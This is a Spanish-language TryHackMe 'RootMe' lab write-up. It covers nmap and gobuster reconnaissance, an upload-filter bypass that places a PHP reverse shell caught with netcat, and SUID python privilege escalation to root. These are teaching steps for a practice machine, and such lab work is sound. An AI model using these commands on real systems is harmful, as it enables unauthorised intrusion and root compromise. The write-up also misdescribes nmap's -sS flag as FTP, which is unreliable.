TryHackMe WriteUp: RootMe
Published: 2023-04-03 01:26:22

## Introduccion
[TryHackMe](https://tryhackme.com/) (THM) es una de mis comunidades favoritas, he visto como durante años el empeño que se ponen en mejorar es relevante y es de las que más recomiendo cuando me preguntan por dónde empezar a practicar.

Pese a llevar un rato inactivo, hoy me he dispuesto a pasar el día recorriendo un poco la comunidad y dedicarle algunas horas a alguna máquina, primero, para recordar algunos conceptos elementales y segundo, para volver a las glorias pasadas.

En este caso he decidido trabajar sobre [RootMe](https://tryhackme.com/room/rrootme).

**Sugerencia:** te invito a intentar primero por tu cuenta y tomes esto como una guía si en algún paso te llegas a quedar, de igual manera cualquier feedback será bien recibido. :)

## Detalles de la máquina
![Target machine](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m4bpu3qnx0oei8u7quib.png)

Esta máquina tratará sobre los temas:

- Servidores web Apache
- Sistemas Linux
- PHP como navaja de corte para la vulneración de una máquina
- Escalada de privilegios haciendo uso de malas configuraciones

## Reconocimiento 
Después de conectarme a la VPN de THM, y finalizar la religiosa actualización de mi sistema ofensivo (Kali Purple), lo primero que hice fue realizar un scaneo con [nmap](https://nmap.org/):
```bash
nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
```
Explicación del comando:

- `-sS`: le pide al motor de nmap que use el protocolo FTP para encontrar los servicios
- `-sV`: le pide al motor de nmap que muestre la versión del servicio que encuentre
- `-T4`: establece un tiempo de respuesta agresivo que acelera el proceso de análisis. [Referencia](https://nmap.org/book/performance-timing-templates.html)
- `-O`: le pide al motor de nmap que busque información referente al sistema operativo
- `-oN`: genera un archivo con la salida final de nmap, de nombre **nmap_services_scan**
- `-v`: pide al motor de nmap que la salida sea 'verbosa', es decir, que vaya mostrando información del proceso
- `--script=vuln`: pide al motor de nmap que utilice el script de vulnerabilidades durante este escaneo
- `10.10.7.32`: la IP de la máquina objetivo (durante la práctica cambió un par de veces la IP, basta con utilizar la IP indicada por THM)

Teniendo la siguiente salida:
```
# Nmap 7.93 scan initiated Sun Apr  2 18:43:02 2023 as: nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Increasing send delay for 10.10.7.32 from 0 to 5 due to 11 out of 22 dropped probes since last increase.
Nmap scan report for 10.10.7.32
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.6p1: 
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	...
|_    	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937	*EXPLOIT*
80/tcp  open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|     	CVE-2019-9517	7.8	https://vulners.com/cve/CVE-2019-9517
|     	...
|_    	CVE-2006-20001	0.0	https://vulners.com/cve/CVE-2006-20001
|_http-csrf: Couldn't find any CSRF vulnerabilities.
443/tcp filtered https
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/2%OT=22%CT=1%CU=34535%PV=Y%DS=2%DC=I%G=Y%TM=6429CD1B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3
OS:=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 32.708 days (since Wed Mar  1 01:45:04 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  2 18:44:43 2023 -- 1 IP address (1 host up) scanned in 101.71 seconds
```
Es posible ver entonces que nuestra máquina objetivo tiene dos puertos corriendo servicios:

|   Puerto   | Servicio | Versión |
|   :---     |  :----:  |   ---:  |
|   22/tcp   |    ssh   |  OpenSSH 7.6p1 |
|   80/tcp   |   http   |  Apache httpd 2.4.29|

Casi de facto, cada que veo un servicio HTTP corriendo por un puerto 80, pienso enseguida que hay gran probabilidad de que exista una página web corriendo en ese servidor, así que haciendo uso del explorador entro a la IP de la máquina objetivo en cuestión.

![RootMe main page](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jjaepqtmk7eq5eivkquh.png)

Desde aquí, y sabiendo ya que existe una página web, utilizo la herramienta [GoBuster](https://github.com/OJ/gobuster) para hacer búsqueda de directorios con fuerza bruta:
```bash
gobuster dir -u 10.10.7.32 -o gobuster_scan -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
```
Explicación del comando:
- `gobuster`: invoca la herramienta
- `dir`: establece el modo directorio de la herramienta, esto es util cuando pretendemos analizar los posibles directorios y archivos que existan
- `-u`: bandera para establecer el objetivo, en este caso la IP 10.10.7.32
- `-o`: genera un archivo con la salida del escaneo, en este caso de nombre **gobuster_scan**
- `-w`: establece el fichero de palabras a buscar, en este caso */usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt*

La salida resultante es por lo menos interesante:
Si observamos detenidamente el primer escaneo con el script de vulnerabilidades de nmap, tenemos que encontró tres directorios:
```bash
http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

```
Mientras que del lado del escaneo de gobuster, encontramos 4 en el archivo de salida:
```
/uploads              (Status: 301) [Size: 310] [--> http://10.10.7.32/uploads/]
/css                  (Status: 301) [Size: 306] [--> http://10.10.7.32/css/]
/js                   (Status: 301) [Size: 305] [--> http://10.10.7.32/js/]
/panel                (Status: 301) [Size: 308] [--> http://10.10.7.32/panel/]
```
`/panel` es entonces un directorio oculto.

Si accedemos a la url `[IP objetivo]/panel` tenemos la siguiente vista:

![Upload view](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9mgudes4whkfy5cc5esx.png)

Es posible subir un archivo a la máquina objetivo, hasta aquí considero podemos dar por terminada la fase de reconocimiento.

## Explotación
Desde este punto es pertinente comenzar a interactuar con la página, lo primero que hice fue crear un archivo `archivo.txt` con un texto simple `cualquier texto` con el comando `echo`:
```bash
echo "cualquier texto" > archivo.txt
```
Y subirlo al servidor:

![1](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3d76qxinyle49dhird68.png)

![2](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ibolt08zmmsy85bcewks.png)

Ahora bien, ¿A qué parte del servidor se ha subido?, dentro de la información obtenida durante los escaneos, dimos con un directorio `uploads`, al mirar dentro del mismo tenemos lo siguiente:

![Uploads](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ois6wy1p0im29jo2czz.png)

Desde este punto es posible prepara un ataque con una shell reversa (a veces llamado tambien `shell inversa`) en php, pero antes un poco de contexto:
**¿Qué es una shell?** Sin entrar en muchos tecnicismos, una shell es una sesión que permite ejecutar comandos de manera remota en un servidor. Sabiendo esto, una **shell inversa** se refiere a un proceso en el que la máquina 'víctima' hará la conexión con el atacante para recibir comandos, esto es útil para evadir firewalls y filtros de seguridad desde el lado de la máquina víctima.

En el sistema Kali tenemos diversas shells, es posible verlas con el comando `webshells`:
```bash
┌──(incuerdo㉿kali)-[~/Documentos/TryHackMe/RootMe]
└─$ webshells

> webshells ~ Collection of webshells

/usr/share/webshells
├── asp
├── aspx
├── cfm
├── jsp
├── perl
├── php
└── seclists -> /usr/share/seclists/Web-Shells
```
Al listar las shells php con la utilidad `tree` tenemos lo siguiente:
```bash
┌──(incuerdo㉿kali)-[/usr/share/webshells/php]
└─$ tree
.
├── findsocket
│   ├── findsock.c
│   └── php-findsock-shell.php
├── php-backdoor.php
├── php-reverse-shell.php
├── qsd-php-backdoor.php
└── simple-backdoor.php

2 directories, 6 files
```
De aquí es relevante ponerle atención a la shell `php-reverse-shell.php`. Para llevar a cabo la ejecución de esta shell reversa se necesitan dos componentes, el primero es configurar un servicio que 'escuche' al servicio remoto que se intentará comunicar con nosotros, el segundo es la ejecución de la shell en la máquina víctima.

### Preparando el servicio de escucha
Para esto usaremos la utilidad `nc` para configurar el puerto 4444 de nuestra máquina atacante, esto con el comando
```bash
nc -lp 4444
```

Explicación:
- `nc`: invoca la utilidad de netcat
- `-l`: establece `nc` como escucha (listen)
- `-p`: establece el puerto de escucha, en este caso **4444**

*Es posible unir ambas banderas en una sola, por lo que `-lp` es equivalente a `-l -p`*

![3](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/okzchpbosr6avgu22g67.png)

### Preparando la shell reversa
En este caso hice una copia de la shell php mostrada por el comando `webshells` con el comando 
```bash
cp /usr/share/webshells/php/php-reverse-shell.php ./
```

Explicación:
- `cp`: copia el primer argumento (usualmente un archivo) en el segundo argumento (usualmente un directorio)
- `/usr/share/webshells/php/php-reverse-shell.php`: archivo a copiar
- `./`: directorio donde se está ejecutando el comando

Teniendo la copia de la shell reversa PHP vamos a editarla, en mi caso lo haré con neovim, con el comando `nvim ./php-reverse-shell.php`. La parte que nos interesa del archivo es la siguiente:
```php
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```
Hay que configurar `ip` y `port`, en este caso la IP de nuestra máquina atacante y el puerto escucha, que, si se configuró como antes se dijo, será el `4444`.

Guardados estos cambios podemos proceder a subir nuestra shell al servidor:

![4](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j5zt8o12rhhbwzjhkt38.png)

![5](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/izy4zktytmgktysr75ix.png)

Tenemos que archivos `.php` no son permitidos al momento de intentar subirlos al servidor y parecería que no es una alternativa fiable, sin embargo existe el [file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass), que consiste básicamente en que del lado del servidor existe una 'sanitización' de los archivos, sin embargo las validaciones atienden a extensiones específicas y es posible 'burlar' estos mecanismos, basta con renombrar el archivo.

Probando con varias alternativas, al renombrar el archivo `php-reverse-shell.php` a `php-reverse-shell.php.inc`, es posible subirlo al servidor.

![6](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j8r4d7kykgarj8av2vp6.png)

![7](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ti7svomel672ba956dka.png)

Y al hacer click (es decir, al acceder) al archivo...

![7](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmqm0ndpxblfhppapty3.png)

¡Tenemos comunicación con la máquina víctima gracias a nuestra shell reversa!

Desde aquí ya nos es posible indicar comandos que se ejecutarán en la máquina remota, es conveniente ejecutar dos:

1. `whoami`: que nos dirá con qué usuario de la máquina hemos iniciado sesión
2. `pwd`: que nos dirá en qué parte de la máquina nos encontramos

Investigando un poco sobre el usuario `www-data` tenemos que dicho usuario es el usuario por defecto del servidor web Apache, este usuario tiene acceso a directorios públicos del sitio web para poder leer y mostrar su contenido. El contenido que en virtud nos interesa ver primero es el que se encuentra en el directorio `/var/www`, así que podemos hacer un listado de dicho directorio:
```bash
ls /var/www
```

Y al notar que existe un archivo `user.txt` en dicho directorio, tenemos la primera bandera, la del usuario:

![8](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rvd0t0kwrk79opxxozkf.png)

## Escalada de privilegios
A partir de este punto viene la parte más interesante. Tenemos una sesión abierta en la máquina, sin embargo no sabemos a qué parte podemos acceder. Nuestro objetivo es alcanzar una sesión del usuario `root` para tener acceso total a la máquina. El comando `find` nos puede ayudar a conocer los directorios y archivos a los que se tiene acceso o no.
```bash
find / -user root -perm /4000 -print 2>/dev/null
```

Explicación:
- `find`: invoca la utilidad
- `/`: directorio en el que empezará a buscar, al indicar el directorio raíz `/` buscará en todos los archivos de la máquina
- `-user`: establece el usuario sobre el que nos interesa hacer la búsqueda, en este caso el `root`
- `-perm`: establece los permisos sobre los que nos interesa hacer la búsqueda, en este caso le pasamos el tipo de permiso como número octal, este permiso `4000` establece el bit `setuid` del usuario root. [Referencia 1](https://www.cyberciti.biz/faq/unix-linux-bsd-chmod-numeric-permissions-notation-command/) [Referencia 2](https://docs.oracle.com/cd/E19683-01/816-4883/6mb2joatb/index.html)
- `-print 2>/dev/null`: al buscar en toda la máquina conviene limpiar aquella información que no nos interesa, con ésta última parte del comando filtramos enviando a null aquellas salidas relacionados con los lugares a los que no podemos acceder, dejando solo aquellos a los que si nos es posible acceder.

De dicho comando tenemos al siguiente salida:
```bash
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
...
/bin/umount
```

Hasta el momento sabemos que dentro de la ruta `/usr/bin/python` existe un intérprete de python, por lo que podemos intentar una técnica que abusa de la mala configuracion de las reestricciones de un sistema con [GTFOBins](https://gtfobins.github.io/).
Sabemos que el binario `/usr/bin/python` tiene el bit SUID (por los permisos `4000` establecidos), si se ejecuta la invocación de una shell (así es, una shell dentro de una shell) con las banderas `sh -p`, es posible ejecutar una shell `sh` por defecto pero con los privilegios del SUID, en este caso el 'root':
```bash
cd /usr/bin
```
Con este comando anterior vamos a la ruta del intérprete de python
```bash
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```
E invocamos la sesion `sh`. Al ejecutar un `whoami`...

![9](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h2abw6jqg5d7mzil7bt9.png)

¡Tenemos la sesión del usuario root! Con lo que ya es posible acceder a su bandera.
![10](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2m7g8lkw3nn9593f5cmk.png)

## Conclusiones
Desde una página web no correctamente sanitizada logramos acceder a una máquina remota haciendo uso de una shell reversa en PHP, y desde un intérprete de python fue posible escalar hasta el usuario root haciendo uso de permisos mal configurados en dicha máquina remota.

Si llegaste hasta acá, te agradezco mucho por tu interés. Tengo la intención de hacer esto más seguido e ir mejorando tanto la redacción como el material ofrecido.